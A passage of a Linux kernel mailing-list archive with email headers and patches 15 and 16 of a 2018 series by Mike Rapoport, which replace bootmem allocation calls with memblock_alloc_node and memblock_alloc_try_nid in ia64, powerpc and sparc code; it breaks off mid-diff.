 by b06cxnps4075.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCHZQ24969242
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:17 GMT
Original-Received: from d06av21.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 6701852059;
 Fri, 14 Sep 2018 15:12:05 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av21.portsmouth.uk.ibm.com (Postfix) with ESMTPS id 47C6352054;
 Fri, 14 Sep 2018 15:12:00 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:11 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0008-0000-0000-000002715A6E
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0009-0000-0000-000021D9A04E
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051238_347750_8665B09B 
X-CRM114-Status: GOOD (  22.64  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:789 gmane.linux.kernel.mm:203325 gmane.linux.ports.mips.general:66627 gmane.linux.ports.ia64:29222 gmane.linux.ports.sh.devel:57498 gmane.linux.ports.sparc:28410 gmane.linux.ports.hexagon:1839 gmane.linux.kernel.arc:4352 gmane.linux.ports.alpha:5228 gmane.linux.ports.arm.kernel:674197 gmane.linux.ports.parisc:28950 gmane.linux.kernel:2870768 gmane.linux.ports.ppc64.devel:162485
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/789>

With the align parameter memblock_alloc_node() can be used as drop in
replacement for alloc_bootmem_pages_node() and __alloc_bootmem_node(),
which is done in the following patches.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 include/linux/bootmem.h | 4 ++--
 mm/sparse.c             | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/include/linux/bootmem.h b/include/linux/bootmem.h
index 7d91f0f..3896af2 100644
--- a/include/linux/bootmem.h
+++ b/include/linux/bootmem.h
@@ -157,9 +157,9 @@ static inline void * __init memblock_alloc_from_nopanic(
 }
 
 static inline void * __init memblock_alloc_node(
-						phys_addr_t size, int nid)
+		phys_addr_t size, phys_addr_t align, int nid)
 {
-	return memblock_alloc_try_nid(size, 0, BOOTMEM_LOW_LIMIT,
+	return memblock_alloc_try_nid(size, align, BOOTMEM_LOW_LIMIT,
 					    BOOTMEM_ALLOC_ACCESSIBLE, nid);
 }
 
diff --git a/mm/sparse.c b/mm/sparse.c
index 04e97af..509828f 100644
--- a/mm/sparse.c
+++ b/mm/sparse.c
@@ -68,7 +68,7 @@ static noinline struct mem_section __ref *sparse_index_alloc(int nid)
 	if (slab_is_available())
 		section = kzalloc_node(array_size, GFP_KERNEL, nid);
 	else
-		section = memblock_alloc_node(array_size, nid);
+		section = memblock_alloc_node(array_size, 0, nid);
 
 	return section;
 }
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.kernel.arc,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.ports.riscv,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 15/30] memblock: replace alloc_bootmem_pages_node with
 memblock_alloc_node
Date: Fri, 14 Sep 2018 15:10:30 +0300
Lines: 39
Approved: news@gmane.org
Message-ID: <1536927045-23536-16-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927074 30141 195.159.176.226 (14 Sep 2018 12:11:14 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:14 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org Fri Sep 14 14:11:06 2018
Return-path: <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>
Envelope-to: gla-linux-snps-arc@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org>)
	id 1g0mwD-0007eb-Hg
	for gla-linux-snps-arc@m.gmane.org; Fri, 14 Sep 2018 14:11:05 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=UrylhkueRUN5Qy6W93l7yVfFdDga6MfmPahCdUBcIb0=; b=iVSWRVZBDKdWXi2kawLxBM0Hbs
	mwzhRCquK1pphYXXQScB2mOyhV15ZN93UXiHPi9JCFJKzB/UTvRS0HYK0bxUpx6IIY+boGJgNx2MC
	h5R/O/VsdeRdwJUbNOhwB/7AfQvKQV15W896iequ0OHt/sFhcvoUTy3cwKgXXApuUy6DeId11JRC6
	WJ/Zb8uKqegib5XiXbZwSDViFiHl7c564KbFywHWcXLuX+wJk5Tqj1XCt9D+Ic9sdWxhZ4yDaytOX
	/3BHcOR8rvZnz4doTwtTDy8x3Wx1J7X8JyAawBkXO2g17s/t9KDqCJK8XELvLvrw+6YEqkrFK6i3h
	pOzUmXVQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0myE-0004PP-H5; Fri, 14 Sep 2018 12:13:10 +0000
Original-Received: from mx0b-001b2d01.pphosted.com ([148.163.158.5]
 helo=mx0a-001b2d01.pphosted.com)
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0mxt-0004Ac-Aq
 for linux-snps-arc@lists.infradead.org; Fri, 14 Sep 2018 12:12:52 +0000
Original-Received: from pps.filterd (m0098414.ppops.net [127.0.0.1])
 by mx0b-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC59GV013016
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:39 -0400
Original-Received: from e06smtp07.uk.ibm.com (e06smtp07.uk.ibm.com [195.75.94.103])
 by mx0b-001b2d01.pphosted.com with ESMTP id 2mgce2h391-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-snps-arc@lists.infradead.org>; Fri, 14 Sep 2018 08:12:38 -0400
Original-Received: from localhost
 by e06smtp07.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-snps-arc@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:35 +0100
Original-Received: from b06cxnps3074.portsmouth.uk.ibm.com (9.149.109.194)
 by e06smtp07.uk.ibm.com (192.168.101.137) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:24 +0100
Original-Received: from d06av22.portsmouth.uk.ibm.com (d06av22.portsmouth.uk.ibm.com
 [9.149.105.58])
 by b06cxnps3074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCNFE44368042
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:23 GMT
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 12CBB4C040;
 Fri, 14 Sep 2018 15:12:14 +0100 (BST)
Original-Received: from d06av22.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id DCE804C044;
 Fri, 14 Sep 2018 15:12:08 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av22.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:08 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:17 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0028-0000-0000-000002F958BB
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0029-0000-0000-000023B30126
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=1 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=665 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051249_531763_A6F96DFB 
X-CRM114-Status: GOOD (  20.28  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.158.5 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-snps-arc@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: Linux on Synopsys ARC Processors <linux-snps-arc.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-snps-arc/>
List-Post: <mailto:linux-snps-arc@lists.infradead.org>
List-Help: <mailto:linux-snps-arc-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-snps-arc>, 
 <mailto:linux-snps-arc-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-snps-arc" <linux-snps-arc-bounces@lists.infradead.org>
Errors-To: linux-snps-arc-bounces+gla-linux-snps-arc=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.kernel.arc:4353 gmane.linux.kernel.mm:203326 gmane.linux.ports.mips.general:66628 gmane.linux.ports.ia64:29223 gmane.linux.ports.sh.devel:57499 gmane.linux.ports.sparc:28411 gmane.linux.ports.hexagon:1840 gmane.linux.ports.riscv:790 gmane.linux.ports.alpha:5229 gmane.linux.ports.arm.kernel:674198 gmane.linux.ports.parisc:28951 gmane.linux.kernel:2870771 gmane.linux.ports.ppc64.devel:162486
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.arc/4353>

The functions are equivalent, just the later does not require nobootmem
translation layer.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
Acked-by: Michal Hocko <mhocko@suse.com>
---
 arch/ia64/mm/init.c | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/arch/ia64/mm/init.c b/arch/ia64/mm/init.c
index 3b85c3e..2169ca5 100644
--- a/arch/ia64/mm/init.c
+++ b/arch/ia64/mm/init.c
@@ -447,19 +447,19 @@ int __init create_mem_map_page_table(u64 start, u64 end, void *arg)
 	for (address = start_page; address < end_page; address += PAGE_SIZE) {
 		pgd = pgd_offset_k(address);
 		if (pgd_none(*pgd))
-			pgd_populate(&init_mm, pgd, alloc_bootmem_pages_node(NODE_DATA(node), PAGE_SIZE));
+			pgd_populate(&init_mm, pgd, memblock_alloc_node(PAGE_SIZE, PAGE_SIZE, node));
 		pud = pud_offset(pgd, address);
 
 		if (pud_none(*pud))
-			pud_populate(&init_mm, pud, alloc_bootmem_pages_node(NODE_DATA(node), PAGE_SIZE));
+			pud_populate(&init_mm, pud, memblock_alloc_node(PAGE_SIZE, PAGE_SIZE, node));
 		pmd = pmd_offset(pud, address);
 
 		if (pmd_none(*pmd))
-			pmd_populate_kernel(&init_mm, pmd, alloc_bootmem_pages_node(NODE_DATA(node), PAGE_SIZE));
+			pmd_populate_kernel(&init_mm, pmd, memblock_alloc_node(PAGE_SIZE, PAGE_SIZE, node));
 		pte = pte_offset_kernel(pmd, address);
 
 		if (pte_none(*pte))
-			set_pte(pte, pfn_pte(__pa(alloc_bootmem_pages_node(NODE_DATA(node), PAGE_SIZE)) >> PAGE_SHIFT,
+			set_pte(pte, pfn_pte(__pa(memblock_alloc_node(PAGE_SIZE, PAGE_SIZE, node)) >> PAGE_SHIFT,
 					     PAGE_KERNEL));
 	}
 	return 0;
-- 
2.7.4

From - Thu Nov 08 21:41:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Mike Rapoport <rppt@linux.vnet.ibm.com>
Newsgroups: gmane.linux.ports.riscv,gmane.linux.kernel.mm,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.hexagon,gmane.linux.kernel.arc,gmane.linux.ports.alpha,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.ppc64.devel
Subject: [PATCH 16/30] memblock: replace __alloc_bootmem_node with appropriate
 memblock_ API
Date: Fri, 14 Sep 2018 15:10:31 +0300
Lines: 83
Approved: news@gmane.org
Message-ID: <1536927045-23536-17-git-send-email-rppt@linux.vnet.ibm.com>
References: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1536927084 30891 195.159.176.226 (14 Sep 2018 12:11:24 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Fri, 14 Sep 2018 12:11:24 +0000 (UTC)
Cc: linux-mips@linux-mips.org, Michal Hocko <mhocko@suse.com>,
 linux-ia64@vger.kernel.org, linux-sh@vger.kernel.org,
 Catalin Marinas <catalin.marinas@arm.com>, Palmer Dabbelt <palmer@sifive.com>,
 Russell King <linux@armlinux.org.uk>, Rich Felker <dalias@libc.org>,
 sparclinux@vger.kernel.org, linux-hexagon@vger.kernel.org,
 linux-riscv@lists.infradead.org, Jonas Bonn <jonas@southpole.se>,
 linux-s390@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
 Yoshinori Sato <ysato@users.sourceforge.jp>, Jonathan Corbet <corbet@lwn.net>,
 Michael Ellerman <mpe@ellerman.id.au>,
 "James E.J. Bottomley" <jejb@parisc-linux.org>, Ingo Molnar <mingo@redhat.com>,
 Geert Uytterhoeven <geert@linux-m68k.org>, Mark Salter <msalter@redhat.com>,
 Matt Turner <mattst88@gmail.com>, linux-snps-arc@lists.infradead.org,
 uclinux-h8-devel@lists.sourceforge.jp, Mike Rapoport <rppt@linux.vnet.ibm.com>,
 linux-alpha@vge
To: linux-mm@kvack.org
Original-X-From: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org Fri Sep 14 14:11:16 2018
Return-path: <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>
Envelope-to: glpr-linux-riscv@m.gmane.org
Original-Received: from bombadil.infradead.org ([198.137.202.133])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org>)
	id 1g0mwN-0007qW-Da
	for glpr-linux-riscv@m.gmane.org; Fri, 14 Sep 2018 14:11:15 +0200
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=lists.infradead.org; s=bombadil.20170209; h=Sender:
	Content-Transfer-Encoding:Content-Type:MIME-Version:Cc:List-Subscribe:
	List-Help:List-Post:List-Archive:List-Unsubscribe:List-Id:Message-Id:
	References:In-Reply-To:Date:Subject:To:From:Reply-To:Content-ID:
	Content-Description:Resent-Date:Resent-From:Resent-Sender:Resent-To:Resent-Cc
	:Resent-Message-ID:List-Owner;
	bh=iIjC91m+DVql/RY/U/XGwVehEVELwJrfuXLqdaemaDc=; b=P1nl+xJAXkRrs+HgEWeVi6hCfP
	sRiQUCH3xuGjyhQNsCUdpYSuxD+DX7FO7KUGed/G8Vmfd4n58MmGFHGphIIsHIZX6H2YW8YcTOdW6
	sg2KEqE9f7XTVHuUv6vcvSJ58r7PKUNa4WwDyRDaZTaWLDq6M0fFYb6pPTq8K2p+YyWsUohFl+ED8
	+RPzk5bCfav25xYojAkhNC5aWLywMzvGUN26AkqIqSwxUNqLMFytVy2EcaX0Sm6mo4innT+2B9SQg
	KxGSf+qokcbgpKAM+Wz5c6oREYPQr/iyeIFVOW2H7e3m7umxT2xH67rfTRPVDiZbgutixZfgieKDR
	FF0crnUQ==;
Original-Received: from localhost ([127.0.0.1] helo=bombadil.infradead.org)
	by bombadil.infradead.org with esmtp (Exim 4.90_1 #2 (Red Hat Linux))
	id 1g0myO-0004TP-7j; Fri, 14 Sep 2018 12:13:20 +0000
Original-Received: from mx0a-001b2d01.pphosted.com ([148.163.156.1])
 by bombadil.infradead.org with esmtps (Exim 4.90_1 #2 (Red Hat Linux))
 id 1g0my1-0004Dx-QE
 for linux-riscv@lists.infradead.org; Fri, 14 Sep 2018 12:12:59 +0000
Original-Received: from pps.filterd (m0098396.ppops.net [127.0.0.1])
 by mx0a-001b2d01.pphosted.com (8.16.0.22/8.16.0.22) with SMTP id
 w8EC5O85006184
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:47 -0400
Original-Received: from e06smtp03.uk.ibm.com (e06smtp03.uk.ibm.com [195.75.94.99])
 by mx0a-001b2d01.pphosted.com with ESMTP id 2mgb9y3u7m-1
 (version=TLSv1.2 cipher=AES256-GCM-SHA384 bits=256 verify=NOT)
 for <linux-riscv@lists.infradead.org>; Fri, 14 Sep 2018 08:12:46 -0400
Original-Received: from localhost
 by e06smtp03.uk.ibm.com with IBM ESMTP SMTP Gateway: Authorized Use Only!
 Violators will be prosecuted
 for <linux-riscv@lists.infradead.org> from <rppt@linux.vnet.ibm.com>;
 Fri, 14 Sep 2018 13:12:42 +0100
Original-Received: from b06cxnps4074.portsmouth.uk.ibm.com (9.149.109.196)
 by e06smtp03.uk.ibm.com (192.168.101.133) with IBM ESMTP SMTP Gateway:
 Authorized Use Only! Violators will be prosecuted; 
 (version=TLSv1/SSLv3 cipher=AES256-GCM-SHA384 bits=256/256)
 Fri, 14 Sep 2018 13:12:30 +0100
Original-Received: from d06av23.portsmouth.uk.ibm.com (d06av23.portsmouth.uk.ibm.com
 [9.149.105.59])
 by b06cxnps4074.portsmouth.uk.ibm.com (8.14.9/8.14.9/NCO v10.0) with ESMTP id
 w8ECCTKM459156
 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL);
 Fri, 14 Sep 2018 12:12:30 GMT
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 924F0A4065;
 Fri, 14 Sep 2018 15:12:17 +0100 (BST)
Original-Received: from d06av23.portsmouth.uk.ibm.com (unknown [127.0.0.1])
 by IMSVA (Postfix) with ESMTP id 5AAE6A4055;
 Fri, 14 Sep 2018 15:12:12 +0100 (BST)
Original-Received: from rapoport-lnx (unknown [9.148.207.116])
 by d06av23.portsmouth.uk.ibm.com (Postfix) with ESMTPS;
 Fri, 14 Sep 2018 15:12:12 +0100 (BST)
Original-Received: by rapoport-lnx (sSMTP sendmail emulation);
 Fri, 14 Sep 2018 15:12:23 +0300
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1536927045-23536-1-git-send-email-rppt@linux.vnet.ibm.com>
X-TM-AS-GCONF: 00
x-cbid: 18091412-0012-0000-0000-000002A8D42D
X-IBM-AV-DETECTION: SAVI=unused REMOTE=unused XFE=unused
x-cbparentid: 18091412-0013-0000-0000-000020DD1EEA
X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:, ,
 definitions=2018-09-14_06:, , signatures=0
X-Proofpoint-Spam-Details: rule=outbound_notspam policy=outbound score=0
 priorityscore=1501
 malwarescore=0 suspectscore=3 phishscore=0 bulkscore=0 spamscore=0
 clxscore=1015 lowpriorityscore=0 mlxscore=0 impostorscore=0
 mlxlogscore=999 adultscore=0 classifier=spam adjust=0 reason=mlx
 scancount=1 engine=8.0.1-1807170000 definitions=main-1809140129
X-CRM114-Version: 20100106-BlameMichelson ( TRE 0.8.0 (BSD) ) MR-646709E3 
X-CRM114-CacheID: sfid-20180914_051257_985068_A6AC7716 
X-CRM114-Status: GOOD (  21.05  )
X-Spam-Score: -0.7 (/)
X-Spam-Report: SpamAssassin version 3.4.1 on bombadil.infradead.org summary:
 Content analysis details:   (-0.7 points)
 pts rule name              description
 ---- ---------------------- --------------------------------------------------
 -0.7 RCVD_IN_DNSWL_LOW      RBL: Sender listed at http://www.dnswl.org/, low
 trust [148.163.156.1 listed in list.dnswl.org]
 0.0 KHOP_DYNAMIC           Relay looks like a dynamic address
X-BeenThere: linux-riscv@lists.infradead.org
X-Mailman-Version: 2.1.21
Precedence: list
List-Id: <linux-riscv.lists.infradead.org>
List-Unsubscribe: <http://lists.infradead.org/mailman/options/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=unsubscribe>
List-Archive: <http://lists.infradead.org/pipermail/linux-riscv/>
List-Post: <mailto:linux-riscv@lists.infradead.org>
List-Help: <mailto:linux-riscv-request@lists.infradead.org?subject=help>
List-Subscribe: <http://lists.infradead.org/mailman/listinfo/linux-riscv>,
 <mailto:linux-riscv-request@lists.infradead.org?subject=subscribe>
Original-Sender: "linux-riscv" <linux-riscv-bounces@lists.infradead.org>
Errors-To: linux-riscv-bounces+glpr-linux-riscv=m.gmane.org@lists.infradead.org
Xref: news.gmane.org gmane.linux.ports.riscv:791 gmane.linux.kernel.mm:203327 gmane.linux.ports.mips.general:66629 gmane.linux.ports.ia64:29224 gmane.linux.ports.sh.devel:57500 gmane.linux.ports.sparc:28412 gmane.linux.ports.hexagon:1841 gmane.linux.kernel.arc:4354 gmane.linux.ports.alpha:5230 gmane.linux.ports.arm.kernel:674199 gmane.linux.ports.parisc:28952 gmane.linux.kernel:2870772 gmane.linux.ports.ppc64.devel:162487
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.riscv/791>

Use memblock_alloc_try_nid whenever goal (i.e. minimal address is
specified) and memblock_alloc_node otherwise.

Signed-off-by: Mike Rapoport <rppt@linux.vnet.ibm.com>
---
 arch/ia64/mm/discontig.c       |  6 ++++--
 arch/powerpc/kernel/setup_64.c |  6 ++++--
 arch/sparc/kernel/setup_64.c   | 10 ++++------
 arch/sparc/kernel/smp_64.c     |  4 ++--
 4 files changed, 14 insertions(+), 12 deletions(-)

diff --git a/arch/ia64/mm/discontig.c b/arch/ia64/mm/discontig.c
index 1928d57..918dda9 100644
--- a/arch/ia64/mm/discontig.c
+++ b/arch/ia64/mm/discontig.c
@@ -451,8 +451,10 @@ static void __init *memory_less_node_alloc(int nid, unsigned long pernodesize)
 	if (bestnode == -1)
 		bestnode = anynode;
 
-	ptr = __alloc_bootmem_node(pgdat_list[bestnode], pernodesize,
-		PERCPU_PAGE_SIZE, __pa(MAX_DMA_ADDRESS));
+	ptr = memblock_alloc_try_nid(pernodesize, PERCPU_PAGE_SIZE,
+				     __pa(MAX_DMA_ADDRESS),
+				     BOOTMEM_ALLOC_ACCESSIBLE,
+				     bestnode);
 
 	return ptr;
 }
diff --git a/arch/powerpc/kernel/setup_64.c b/arch/powerpc/kernel/setup_64.c
index 6a501b2..6add560 100644
--- a/arch/powerpc/kernel/setup_64.c
+++ b/arch/powerpc/kernel/setup_64.c
@@ -757,8 +757,10 @@ void __init emergency_stack_init(void)
 
 static void * __init pcpu_fc_alloc(unsigned int cpu, size_t size, size_t align)
 {
-	return __alloc_bootmem_node(NODE_DATA(early_cpu_to_node(cpu)), size, align,
-				    __pa(MAX_DMA_ADDRESS));
+	return memblock_alloc_try_nid(size, align, __pa(MAX_DMA_ADDRESS),
+				      BOOTMEM_ALLOC_ACCESSIBLE,
+				      early_cpu_to_node(cpu));
+
 }
 
 static void __init pcpu_fc_free(void *ptr, size_t size)
diff --git a/arch/sparc/kernel/setup_64.c b/arch/sparc/kernel/setup_64.c
index 206bf81..5fb11ea 100644
--- a/arch/sparc/kernel/setup_64.c
+++ b/arch/sparc/kernel/setup_64.c
@@ -622,12 +622,10 @@ void __init alloc_irqstack_bootmem(void)
 	for_each_possible_cpu(i) {
 		node = cpu_to_node(i);
 
-		softirq_stack[i] = __alloc_bootmem_node(NODE_DATA(node),
-							THREAD_SIZE,
-							THREAD_SIZE, 0);
-		hardirq_stack[i] = __alloc_bootmem_node(NODE_DATA(node),
-							THREAD_SIZE,
-							THREAD_SIZE, 0);
+		softirq_stack[i] = memblock_alloc_node(THREAD_SIZE,
+						       THREAD_SIZE, node);
+		hardirq_stack[i] = memblock_alloc_node(THREAD_SIZE,
+						       THREAD_SIZE, node);
 	}
 }
 
diff --git a/arch/sparc/kernel/smp_64.c b/arch/sparc/kernel/smp_64.c
index d3ea1f3..83ff88d 100644
--- a/arch/sparc/kernel/smp_64.c
+++ b/arch/sparc/kernel/smp_64.c
